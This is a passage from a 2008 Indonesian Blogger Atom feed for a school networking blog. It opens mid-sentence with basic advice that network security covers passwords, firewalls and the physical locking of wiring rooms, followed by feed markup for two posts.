pengamanan “lunak”, seperti hak user, password, dan firewall, tetapi juga pengamanan fisik. Pengamanan fisik atau keras meliputi hal sederhana, seperti mengidentifikasi bagaimana MDF dan IDF dikunci, siapa yang mempunyai akses ke ruangan tersebut dan mengapa, bagaimana host dilindungi (kabel pengaman—alarm), dan siapa yang mempunyai akses fisik ke sistem.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3779977977238655719-3905720753019711532?l=dank3r.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dank3r.blogspot.com/feeds/3905720753019711532/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3779977977238655719&amp;postID=3905720753019711532' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/3905720753019711532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/3905720753019711532'/><link rel='alternate' type='text/html' href='http://dank3r.blogspot.com/2008/10/jaringan.html' title='Jaringan'/><author><name>TKJ BATANG</name><uri>http://www.blogger.com/profile/10320403337888519494</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/_CczHtaVjTBU/SM3J9FZ8gfI/AAAAAAAAAAM/T6dnVUSw9b4/S220/98136.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3779977977238655719.post-8637538679700804557</id><published>2008-09-15T09:28:00.000+07:00</published><updated>2008-09-15T09:30:00.065+07:00</updated><title type='text'>TKJ BATANG</title><content type='html'>&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3779977977238655719-8637538679700804557?l=dank3r.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dank3r.blogspot.com/feeds/8637538679700804557/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3779977977238655719&amp;postID=8637538679700804557' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/8637538679700804557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/8637538679700804557'/><link rel='alternate' type='text/html' href='http://dank3r.blogspot.com/2008/09/tkj-batang.html' title='TKJ BATANG'/><author><name>TKJ BATANG</name><uri>http://www.blogger.com/profile/10320403337888519494</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/_CczHtaVjTBU/SM3J9FZ8gfI/AAAAAAAAAAM/T6dnVUSw9b4/S220/98136.jpg'/></author><thr:total>0</thr:total></entry></feed>
